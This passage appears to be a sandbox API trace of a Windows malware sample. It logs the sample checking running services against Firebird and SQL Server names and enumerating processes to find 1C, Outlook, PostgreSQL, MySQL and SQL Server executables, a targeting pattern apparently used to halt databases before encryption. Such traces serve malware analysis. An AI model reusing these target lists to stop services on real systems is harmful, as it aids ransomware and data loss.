lpString2="DPS") returned 1 [0085.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0085.049] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0085.049] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0085.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0085.049] lstrlenW (lpString="eventlog") returned 8 [0085.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0085.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0085.050] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0085.050] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0085.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0085.050] lstrlenW (lpString="EventSystem") returned 11 [0085.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0085.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0085.050] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0085.050] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0085.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0085.050] lstrlenW (lpString="gpsvc") returned 5 [0085.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0085.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0085.050] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0085.050] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0085.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0085.050] lstrlenW (lpString="iphlpsvc") returned 8 [0085.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0085.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0085.051] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0085.051] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0085.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0085.051] lstrlenW (lpString="LanmanServer") returned 12 [0085.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0085.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0085.051] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0085.051] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0085.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0085.051] lstrlenW (lpString="LanmanWorkstation") returned 17 [0085.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0085.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0085.051] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0085.051] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0085.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0085.051] lstrlenW (lpString="lmhosts") returned 7 [0085.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0085.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0085.052] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0085.052] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0085.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0085.052] lstrlenW (lpString="MMCSS") returned 5 [0085.052] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0085.052] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0085.052] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0085.052] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0085.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0085.052] lstrlenW (lpString="MpsSvc") returned 6 [0085.052] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0085.052] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0085.052] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0085.052] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0085.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0085.052] lstrlenW (lpString="Netman") returned 6 [0085.052] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0085.052] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0085.052] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0085.053] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0085.053] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0085.053] lstrlenW (lpString="netprofm") returned 8 [0085.053] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0085.053] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0085.053] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0085.053] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0085.053] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0085.053] lstrlenW (lpString="NlaSvc") returned 6 [0085.053] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0085.053] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0085.053] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0085.053] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0085.053] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0085.053] lstrlenW (lpString="nsi") returned 3 [0085.053] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0085.053] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0085.053] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0085.054] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0085.054] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0085.054] lstrlenW (lpString="PcaSvc") returned 6 [0085.054] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0085.054] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0085.054] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0085.054] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0085.054] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0085.054] lstrlenW (lpString="PlugPlay") returned 8 [0085.054] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0085.054] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0085.054] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0085.054] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0085.054] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0085.054] lstrlenW (lpString="Power") returned 5 [0085.054] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0085.054] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0085.054] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0085.054] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0085.054] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0085.054] lstrlenW (lpString="ProfSvc") returned 7 [0085.054] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0085.054] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0085.054] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0085.055] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0085.055] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0085.055] lstrlenW (lpString="RpcEptMapper") returned 12 [0085.055] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0085.055] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0085.055] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0085.055] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0085.055] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0085.055] lstrlenW (lpString="RpcSs") returned 5 [0085.055] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0085.055] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0085.055] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0085.055] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0085.055] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0085.055] lstrlenW (lpString="SamSs") returned 5 [0085.055] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0085.055] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0085.055] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0085.055] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0085.055] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0085.055] lstrlenW (lpString="Schedule") returned 8 [0085.055] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0085.055] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0085.056] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0085.056] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0085.056] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0085.056] lstrlenW (lpString="SENS") returned 4 [0085.056] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0085.056] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0085.056] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0085.056] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0085.056] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0085.056] lstrlenW (lpString="ShellHWDetection") returned 16 [0085.056] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0085.056] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0085.056] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0085.056] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0085.056] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0085.056] lstrlenW (lpString="Spooler") returned 7 [0085.056] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0085.056] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0085.056] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0085.056] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0085.057] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0085.057] lstrlenW (lpString="SysMain") returned 7 [0085.057] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0085.057] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0085.057] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0085.057] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0085.057] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0085.057] lstrlenW (lpString="Themes") returned 6 [0085.057] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0085.057] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0085.057] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0085.057] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0085.057] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0085.057] lstrlenW (lpString="TrkWks") returned 6 [0085.057] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0085.057] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0085.057] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0085.057] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0085.057] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0085.057] lstrlenW (lpString="UxSms") returned 5 [0085.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0085.058] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0085.058] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0085.058] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0085.058] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0085.058] lstrlenW (lpString="VSS") returned 3 [0085.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0085.058] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0085.058] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0085.058] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0085.058] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0085.058] lstrlenW (lpString="WdiServiceHost") returned 14 [0085.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0085.058] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0085.058] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0085.058] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0085.058] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0085.058] lstrlenW (lpString="WdiSystemHost") returned 13 [0085.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0085.058] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0085.058] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0085.059] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0085.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0085.059] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0085.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0085.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0085.059] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0085.059] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0085.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0085.059] lstrlenW (lpString="Winmgmt") returned 7 [0085.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0085.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0085.059] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0085.059] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0085.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0085.059] lstrlenW (lpString="WPDBusEnum") returned 10 [0085.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0085.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0085.059] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0085.059] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0085.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0085.060] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x622818 | out: hHeap=0x5d0000) returned 1 [0085.060] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ec [0085.067] Process32FirstW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0085.068] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0085.069] lstrlenW (lpString="System") returned 6 [0085.069] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0085.069] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0085.069] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0085.069] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0085.069] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0085.069] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0085.069] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0085.069] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0085.070] lstrlenW (lpString="smss.exe") returned 8 [0085.071] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0085.071] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0085.071] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0085.071] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0085.071] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0085.071] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0085.071] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0085.071] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0085.072] lstrlenW (lpString="csrss.exe") returned 9 [0085.072] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0085.072] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0085.072] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0085.072] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0085.072] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0085.073] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0085.073] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0085.073] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0085.074] lstrlenW (lpString="wininit.exe") returned 11 [0085.074] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0085.074] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0085.074] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0085.074] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0085.074] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0085.074] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0085.074] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0085.074] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0085.075] lstrlenW (lpString="csrss.exe") returned 9 [0085.075] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0085.076] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0085.077] lstrlenW (lpString="winlogon.exe") returned 12 [0085.077] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0085.078] lstrlenW (lpString="services.exe") returned 12 [0085.078] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0085.079] lstrlenW (lpString="lsass.exe") returned 9 [0085.079] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0085.081] lstrlenW (lpString="lsm.exe") returned 7 [0085.081] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0085.468] lstrlenW (lpString="svchost.exe") returned 11 [0085.469] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0085.469] lstrlenW (lpString="svchost.exe") returned 11 [0085.469] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0085.470] lstrlenW (lpString="svchost.exe") returned 11 [0085.470] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0085.471] lstrlenW (lpString="svchost.exe") returned 11 [0085.471] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2f, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0085.473] lstrlenW (lpString="svchost.exe") returned 11 [0085.473] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0085.474] lstrlenW (lpString="audiodg.exe") returned 11 [0085.474] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0085.475] lstrlenW (lpString="svchost.exe") returned 11 [0085.475] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0085.476] lstrlenW (lpString="svchost.exe") returned 11 [0085.476] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0085.477] lstrlenW (lpString="dwm.exe") returned 7 [0085.477] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0085.478] lstrlenW (lpString="explorer.exe") returned 12 [0085.478] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0085.479] lstrlenW (lpString="spoolsv.exe") returned 11 [0085.479] Process32NextW (in: hSnapshot=0x1ec, 